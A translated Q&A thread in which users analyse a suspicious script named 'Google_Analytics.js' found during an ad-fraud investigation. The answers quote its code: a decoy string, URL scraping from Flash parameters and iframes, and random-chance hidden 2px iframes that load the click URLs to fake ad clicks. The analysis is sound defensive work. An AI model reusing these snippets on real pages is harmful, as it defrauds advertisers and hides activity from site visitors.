如何确定这个javascript的功能

时间:2012-02-26 04:27:19

标签: javascript

我正在调查可能发生的大型广告欺诈事件,并且在跟踪面包屑时遇到了一个名为“Google_Analytics.js”的javascript页面,显然不是这样。

我已将原始代码放在此处:http://pastebin.com/5YqzCVbB

我不熟悉javascript之前已经看过类似的东西,或者知道它的目的是什么。

这里有人可以提供帮助吗?

提前感谢您的任何帮助!

d

2 个答案:

答案 0 :(得分:1)

嗯,这不是谷歌分析,但看起来它故意试图欺骗GA,让人们认为某些东西被点击的次数超出应有的水平。

这是什么?好吧,有一堆与创建Flash对象相关的代码。还有一个大白名单,大概是这个应该影响的页面。就是这样:

if (follow.length > 0) {
    rand = randomFromTo(100, 700);
    rand2 = randomFromTo(1, 6);
    if (rand == 666) {
        $('<iframe />', {
            name: 'follow_analytics',
            id: 'follow_analytics',
            style: 'width:2px;height:2px;display:none;',
            width: '2',
            height: '2',
            src: follow[0]
        }).appendTo('body');
        if (trk_value[$.inArray(1 * (follow[0].match(/cid=([\d]*)/)[1]), tracking)]) {
            if (rand2 == 1) {
                $('<iframe />', {
                    name: 'trk_analytics',
                    id: 'trk_analytics',
                    style: 'width:2px;height:2px;display:none;',
                    width: '2',
                    height: '2',
                    src: 'tracking.html?' + trk_value[$.inArray(1 * (follow[0].match(/cid=([\d]*)/)[1]), tracking)]
                }).appendTo('body');
            }
        }
    };
}

这似乎意味着人为地夸大数字:600中的一部分。其中六分之一应该被追踪或者其他东西。但我对谷歌分析知之甚少,所以我无法帮助你。

答案 1 :(得分:1)

简短的回答是,它试图从各种来源(全局Javascript变量,Flash参数和iframe src)中找到页面上的URL。如果它找到了所述URL,并且选择了正确的随机数(666,在100和700之间随机选择),则它在页面上创建该URL的iframe。

然后,它在两个静态数值列表中的第一个中找到的URL中查找“CID”。如果在该列表中找到CID,则它从另一个列表中获取相应的数值。然后,如果选择第二个正确的随机数(1,在1和6之间随机选择),它将附加第二个iframe。该iframe的网址为tracking.html?x,其中x是从CID转换中找到的数值。

不打算看到iframe。

这是简短的答案,但如果您需要更多详细信息,请参阅下文。我真的希望你可以从中获得一些价值,因为我对广告和广告行为了解不足以了解它真正想要实现的目标。


首先,它尝试创建一个函数,但这似乎是一个诱饵,因为它只是创建一个看起来像代码的字符串。此外,它永远不会被调用。

var analytics_obj=function(){
    var b='undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10)}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1"))false,q=false,z=r?/win/.test(r),w=r?/mac/.test(r)/mac/.test(AD);}'
};

请注意,var b=以单引号开头,该行以单引号结尾。中间没有任何其他单引号,所以它只是一个看起来像代码的长字符串。除非它意味着要通过eval()(我在这个脚本中没有看到eval()),否则它只是一个诱饵。

其次,它创建了一个函数,这是获取随机数的简单简写。

第三是最可怕的部分。它试图捕获一个URL。首先,它尝试一个名为click_url2的变量,该变量未在此处声明,因此它必须尝试将其从另一个脚本中删除。

如果失败,它会尝试在其FlashVars或网址中有clickTag=click=的网页上找到一个Flash动画,并在=之后捕获该值。

如果失败,它会查找包含src且其中包含以下文字的iframe:click=CPSC@=,然后是http://media.fastclick.net/w/click.hereforced_click=,并捕获所有文字均以http开头,以forced_click=结尾。它会附加网址:http://cc.openxads.org/clothedcanines.com/popped_content.html

此行为如下:

try {
    follow.push(click_url2);
} catch(e){
    try {
        follow.push(unescape($('object param[name="flashvars"]').attr('value').match(/clickTag=([^&]*)/)[1]));
    } catch(e){
        try {
            follow.push(unescape($('object param[name="movie"]').attr('value').match(/clickTag=([^&]*)/)[1]));
        } catch(e){
            try {
                follow.push(unescape($('object param[name="FlashVars"]').attr('value').match(/clickTag=([^&]*)/)[1]));
            } catch(e){
                try {
                    follow.push(unescape($('embed').attr('flashvars').match(/clickTag=([^&]*)/)[1]));
                } catch(e){
                    try {
                        follow.push(unescape($('embed').attr('flashvars').match(/click=([^&]*)/)[1]));
                    } catch(e){
                        try {
                            follow.push(unescape($('iframe').attr('src').match(/click=(http:\/\/media\.fastclick\.net\/w\/click\.here.*forced_click=)/)[1])+"http%3A%2F%2Fcc.openxads.org%2Fclothedcanines.com%2Fpopped_content.html");
                        } catch(e) {
                            try {
                                follow.push(unescape($('iframe').attr('src').match(/CPSC@=(http:\/\/media\.fastclick\.net\/w\/click\.here.*forced_click=)/)[1])+"http%3A%2F%2Fcc.openxads.org%2Fclothedcanines.com%2Fpopped_content.html");
                            } catch(e) {};
                        };
                    };
                };
            };
        };
    };
};

之后,它声明了两个非常长的数字数组。我不知道它们是什么,但基于后来的行为,它们似乎是平行的。

如果发现上述任何条件(变量,闪存或iframe),它将继续。如果没有失败。

此时将选择两个随机数,第一个在100和700之间,第二个在1和6之间。

如果选择的第一个数字是666,它将在页面上创建一个iframe,非常小且隐藏,不打算查看。 iframe的src将等于上面设法捕获的任何URL。

if(rand==666){
    $('<iframe />', {
        name:'follow_analytics',id:'follow_analytics',style:'width:2px;height:2px;display:none;',width:'2',height:'2',src:follow[0]
    }).appendTo('body');

然后(如果第一个数字是666),那就是棘手的部分。它将尝试在之前捕获的URL中找到cid=,并捕获它的(预期数值)值。将针对之前声明的其中一个数组检查此数值。如果找到,它将从与其找到的值相同的索引处获取另一个数组中的值。从本质上讲,这只是一个转换表,将所谓的CID更改为不同但相应的数值。

所以,如果那个匹配,那么如果第二个随机数(1到6之间)是1,那么它只会附加第二个iframe。第二个iframe的src将是tracking.html?,附加它从第二个数组获得的数值,其值是通过匹配第一个数组得到的。

if(trk_value[$.inArray(1*(follow[0].match(/cid=([\d]*)/)[1]),tracking)]){
    if(rand2==1){
        $('<iframe />', {
            name:'trk_analytics',id:'trk_analytics',style:'width:2px;height:2px;display:none;',width:'2',height:'2',
            src:'tracking.html?'+trk_value[$.inArray(1*(follow[0].match(/cid=([\d]*)/)[1]), tracking)]
        }).appendTo('body');
    }
}